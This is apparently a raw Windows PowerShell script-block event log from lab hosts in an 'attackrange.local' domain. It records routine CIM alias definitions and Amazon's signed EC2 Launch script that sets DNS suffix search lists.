4104152150x0699692Microsoft-Windows-PowerShell/Operationalmswin-dc01.attackrange.local11Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue05596dc6-4374-4072-8acd-73206f6335e5
4104152150x0699686Microsoft-Windows-PowerShell/Operationalmswin-dc01.attackrange.local11Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinuec36e90bf-c906-457a-afce-2ee4eabf1fe5
4104152150x0699680Microsoft-Windows-PowerShell/Operationalmswin-dc01.attackrange.local11Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinue0874747a-cbfd-4d35-840f-b10c01aad1e8
4104152150x0698873Microsoft-Windows-PowerShell/Operationalmswin-dc01.attackrange.local11Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinueea66ccf9-b020-4783-9664-fe343e4d0b03
4104152150x0698867Microsoft-Windows-PowerShell/Operationalmswin-dc01.attackrange.local11Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinueff74ea1b-20cd-4238-8fe5-41fee99a7f4e
4104152150x0698861Microsoft-Windows-PowerShell/Operationalmswin-dc01.attackrange.local11Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinueaac4cf34-fe2c-4860-81ba-6b9419b3d24f
4104152150x0698586Microsoft-Windows-PowerShell/Operationalmswin-dc01.attackrange.local12# Copyright 2016 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Amazon Software License (the "License").
# You may not use this file except in compliance with the License.
# A copy of the License is located at
#
# http://aws.amazon.com/asl/
#
# or in the "license" file accompanying this file. This file is distributed
# on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
# express or implied. See the License for the specific language governing
# permissions and limitations under the License.
<#-----------------------------------------------------------------------------------------------------------
Add-DnsSuffixList adds DNS suffixes.
-------------------------------------------------------------------------------------------------------------#>
function Add-DnsSuffixList
{
$state = Get-LaunchConfig -Key AddDnsSuffixList
[System.GC]::Collect()
if (-not $state)
{
Write-Log "Adding DNS suffix list is disabled"
return
}
$suffixList = @()
Write-Log ("Adding DNS suffixes in search list begins")
# Try to create a suffix with available zone
try
{
# Availability-zone includes period at the end, so it needs to remove it.
$availabilityZone = (Get-Metadata -UrlFragment "meta-data/placement/availability-zone").Trim()
if ($availabilityZone.EndsWith("."))
{
$availabilityZone = $availabilityZone.Substring(0,$availabilityZone.Length - 1)
}
$suffixList += "{0}.ec2-utilities.amazonaws.com" -f $availabilityZone.Substring(0,$availabilityZone.Length - 1)
}
catch
{
Write-ErrorLog ("Failed to get availability zone: {0}" -f $_.Exception.Message)
}
# Try to get global search list
try
{
$tcpRegPath = "HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters"
$tcpRegRes = Get-ItemProperty -Path $tcpRegPath
$existingList = $tcpRegRes.SearchList -split ","
foreach ($existing in $existingList)
{
if ($existing -and $suffixList -notcontains $existing)
{
$suffixList += $existing.ToLower()
}
}
}
catch
{
Write-ErrorLog ("Failed to get global search list: {0}" -f $_.Exception.Message)
}
# Try to get DNS Domain
try
{
$dnsDomain = $tcpRegRes.Domain
if ($dnsDomain -and $suffixList -notcontains $dnsDomain)
{
$suffixList += $dnsDomain.ToLower()
}
$isUsingDomainDevolution = $tcpRegRes.UseDomainNameDevolution
if ($isUsingDomainDevolution -ne 0)
{
$dnsDomains = $dnsDomain -split "\."
if ($dnsDomains.Length -gt 2)
{
$dns = $dnsDomains.Get($dnsDomains.Length - 1)
for ($i = $dnsDomains.Length - 2; $i -ge 1; $i --)
{
$dns = "{0}.{1}" -f $dnsDomains.Get($i),$dns
if ($dns -and $suffixList -notcontains $dns)
{
$suffixList += $dns.ToLower()
}
}
}
}
}
catch
{
Write-ErrorLog ("Failed to get DNS domain from registry: {0}" -f $_.Exception.Message)
}
# Try to get NV Domain - contains computer's primary DNS suffix
try
{
$nvDomain = $tcpRegRes. "NV Domain"
if ($nvDomain -and $suffixList -notcontains $nvDomain)
{
$suffixList += $nvDomain.ToLower()
}
}
catch
{
Write-ErrorLog ("Failed to get NV domain: {0}" -f $_.Exception.Message)
}
# Try to get DNS Domain from connected NICs
try
{
$networkAdapters = Get-CimInstance -ClassName Win32_NetworkAdapter
foreach ($networkAdapter in $networkAdapters)
{
# Check each NIC if it is connected (Connected = 2)
if ($networkAdapter.NetConnectionStatus -eq 2)
{
$networkConfig = Get-CimInstance -ClassName Win32_NetworkAdapterConfiguration -Filter "Index='$($networkAdapter.Index)'"
$nicDnsDomain = $networkConfig.DNSDomain
if ($nicDnsDomain -and $suffixList -notcontains $nicDnsDomain)
{
$suffixList += $nicDnsDomain.ToLower()
}
}
}
}
catch
{
Write-ErrorLog ("Failed to get DNS domain from NICs: {0}" -f $_.Exception.Message)
}
try
{
# Set DNS suffix search list
Invoke-CimMethod -ClassName Win32_NetworkAdapterConfiguration -MethodName "SetDNSSuffixSearchOrder" -Arguments @{ DNSDomainSuffixSearchOrder = $suffixList } | Out-Null
}
catch
{
Write-ErrorLog ("Failed to set DNS suffix search list: {0}" -f $_.Exception.Message)
}
Write-Log ("Adding DNS suffixes in search list done")
}
# SIG # Begin signature block
# MIIuqgYJKoZIhvcNAQcCoIIumzCCLpcCAQExDzANBglghkgBZQMEAgEFADB5Bgor
# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG
# KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCAwdXMjmgee8GrG
# wK7q1ggMNwj1l3PZixsOVf6I/u33B6CCFBkwggXAMIIEqKADAgECAhAP0bvKeWvX
# +N1MguEKmpYxMA0GCSqGSIb3DQEBCwUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQK
# EwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNV
# BAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMjIwMTEz
# MDAwMDAwWhcNMzExMTA5MjM1OTU5WjBiMQswCQYDVQQGEwJVUzEVMBMGA1UEChMM
# RGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSEwHwYDVQQD
# ExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwggIiMA0GCSqGSIb3DQEBAQUAA4IC
# DwAwggIKAoICAQC/5pBzaN675F1KPDAiMGkz7MKnJS7JIT3yithZwuEppz1Yq3aa
# za57G4QNxDAf8xukOBbrVsaXbR2rsnnyyhHS5F/WBTxSD1Ifxp4VpX6+n6lXFllV
# cq9ok3DCsrp1mWpzMpTREEQQLt+C8weE5nQ7bXHiLQwb7iDVySAdYyktzuxeT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MIIXJQYJKoZIhvcNAQcCoIIXFjCCFxICAQMx
# DzANBglghkgBZQMEAgEFADB3BgsqhkiG9w0BCRABBKBoBGYwZAIBAQYJYIZIAYb9
# bAcBMDEwDQYJYIZIAWUDBAIBBQAEIHZBTdEg6m7H1JWYSgkwZqZJca9sn4GAr8Tv
# //NRYrMmAhBBWvl/ekQTLH0fNK1QEpn/GA8yMDIyMTIyNDA5MjMyNlqgghMHMIIG
# wDCCBKigAwIBAgIQDE1pckuU+jwqSj0pB4A9WjANBgkqhkiG9w0BAQsFADBjMQsw
# CQYDVQQGEwJVUzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xOzA5BgNVBAMTMkRp
# Z2lDZXJ0IFRydXN0ZWQgRzQgUlNBNDA5NiBTSEEyNTYgVGltZVN0YW1waW5nIENB
# MB4XDTIyMDkyMTAwMDAwMFoXDTMzMTEyMTIzNTk1OVowRjELMAkGA1UEBhMCVVMx
# ETAPBgNVBAoTCERpZ2lDZXJ0MSQwIgYDVQQDExtEaWdpQ2VydCBUaW1lc3RhbXAg
# MjAyMiAtIDIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDP7KUmOsap
# 8mu7jcENmtuh6BSFdDMaJqzQHFUeHjZtvJJVDGH0nQl3PRWWCC9rZKT9BoMW15GS
# OBwxApb7crGXOlWvM+xhiua46c52f8-500d-4346-a94c-955ffcd584f8C:\ProgramData\Amazon\EC2-Windows\Launch\Module\Scripts\Add-DnsSuffixList.ps1
4104152150x0717134Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue16fc0cc5-8058-472a-9faf-3f50af5b11c2
4104152150x0717128Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue91505045-6510-47f8-a85c-e6ef29ca494a
4104152150x0717122Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinue0eb3b12d-ca8c-4ee5-9aac-042f1a982b2c
4104152150x0225557Microsoft-Windows-PowerShell/Operationalmswin-exch01.attackrange.local11Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinuebd0bb311-699b-4650-a609-b15006701410
4104152150x0225551Microsoft-Windows-PowerShell/Operationalmswin-exch01.attackrange.local11Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue932be937-ce5b-4c9e-9e90-8f8ce101f0db
4104152150x0225545Microsoft-Windows-PowerShell/Operationalmswin-exch01.attackrange.local11Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinued98ef55d-1ee6-41a0-a949-8cca6aebd52e
4104152150x0225288Microsoft-Windows-PowerShell/Operationalmswin-exch01.attackrange.local12# Copyright 2016 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Amazon Software License (the "License").
# You may not use this file except in compliance with the License.
# A copy of the License is located at
#
# http://aws.amazon.com/asl/
#
# or in the "license" file accompanying this file. This file is distributed
# on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
# express or implied. See the License for the specific language governing
# permissions and limitations under the License.
<#-----------------------------------------------------------------------------------------------------------
Add-DnsSuffixList adds DNS suffixes.
-------------------------------------------------------------------------------------------------------------#>
function Add-DnsSuffixList
{
$state = Get-LaunchConfig -Key AddDnsSuffixList
[System.GC]::Collect()
if (-not $state)
{
Write-Log "Adding DNS suffix list is disabled"
return
}
$suffixList = @()
Write-Log ("Adding DNS suffixes in search list begins")
# Try to create a suffix with available zone
try
{
# Availability-zone includes period at the end, so it needs to remove it.
$availabilityZone = (Get-Metadata -UrlFragment "meta-data/placement/availability-zone").Trim()
if ($availabilityZone.EndsWith("."))
{
$availabilityZone = $availabilityZone.Substring(0,$availabilityZone.Length - 1)
}
$suffixList += "{0}.ec2-utilities.amazonaws.com" -f $availabilityZone.Substring(0,$availabilityZone.Length - 1)
}
catch
{
Write-ErrorLog ("Failed to get availability zone: {0}" -f $_.Exception.Message)
}
# Try to get global search list
try
{
$tcpRegPath = "HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters"
$tcpRegRes = Get-ItemProperty -Path $tcpRegPath
$existingList = $tcpRegRes.SearchList -split ","
foreach ($existing in $existingList)
{
if ($existing -and $suffixList -notcontains $existing)
{
$suffixList += $existing.ToLower()
}
}
}
catch
{
Write-ErrorLog ("Failed to get global search list: {0}" -f $_.Exception.Message)
}
# Try to get DNS Domain
try
{
$dnsDomain = $tcpRegRes.Domain
if ($dnsDomain -and $suffixList -notcontains $dnsDomain)
{
$suffixList += $dnsDomain.ToLower()
}
$isUsingDomainDevolution = $tcpRegRes.UseDomainNameDevolution
if ($isUsingDomainDevolution -ne 0)
{
$dnsDomains = $dnsDomain -split "\."
if ($dnsDomains.Length -gt 2)
{
$dns = $dnsDomains.Get($dnsDomains.Length - 1)
for ($i = $dnsDomains.Length - 2; $i -ge 1; $i --)
{
$dns = "{0}.{1}" -f $dnsDomains.Get($i),$dns
if ($dns -and $suffixList -notcontains $dns)
{
$suffixList += $dns.ToLower()
}
}
}
}
}
catch
{
Write-ErrorLog ("Failed to get DNS domain from registry: {0}" -f $_.Exception.Message)
}
# Try to get NV Domain - contains computer's primary DNS suffix
try
{
$nvDomain = $tcpRegRes. "NV Domain"
if ($nvDomain -and $suffixList -notcontains $nvDomain)
{
$suffixList += $nvDomain.ToLower()
}
}
catch
{
Write-ErrorLog ("Failed to get NV domain: {0}" -f $_.Exception.Message)
}
# Try to get DNS Domain from connected NICs
try
{
$networkAdapters = Get-CimInstance -ClassName Win32_NetworkAdapter
foreach ($networkAdapter in $networkAdapters)
{
# Check each NIC if it is connected (Connected = 2)
if ($networkAdapter.NetConnectionStatus -eq 2)
{
$networkConfig = Get-CimInstance -ClassName Win32_NetworkAdapterConfiguration -Filter "Index='$($networkAdapter.Index)'"
$nicDnsDomain = $networkConfig.DNSDomain
if ($nicDnsDomain -and $suffixList -notcontains $nicDnsDomain)
{
$suffixList += $nicDnsDomain.ToLower()
}
}
}
}
catch
{
Write-ErrorLog ("Failed to get DNS domain from NICs: {0}" -f $_.Exception.Message)
}
try
{
# Set DNS suffix search list
Invoke-CimMethod -ClassName Win32_NetworkAdapterConfiguration -MethodName "SetDNSSuffixSearchOrder" -Arguments @{ DNSDomainSuffixSearchOrder = $suffixList } | Out-Null
}
catch
{
Write-ErrorLog ("Failed to set DNS suffix search list: {0}" -f $_.Exception.Message)
}
Write-Log ("Adding DNS suffixes in search list done")
}
# SIG # Begin signature block
# MIIuqgYJKoZIhvcNAQcCoIIumzCCLpcCAQExDzANBglghkgBZQMEAgEFADB5Bgor
# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG
# KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCAwdXMjmgee8GrG
# wK7q1ggMNwj1l3PZixsOVf6I/u33B6CCFBkwggXAMIIEqKADAgECAhAP0bvKeWvX
# +N1MguEKmpYxMA0GCSqGSIb3DQEBCwUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQK
# EwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNV
# BAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMjIwMTEz
# MDAwMDAwWhcNMzExMTA5MjM1OTU5WjBiMQswCQYDVQQGEwJVUzEVMBMGA1UEChMM
# RGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSEwHwYDVQQD
# ExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwggIiMA0GCSqGSIb3DQEBAQUAA4I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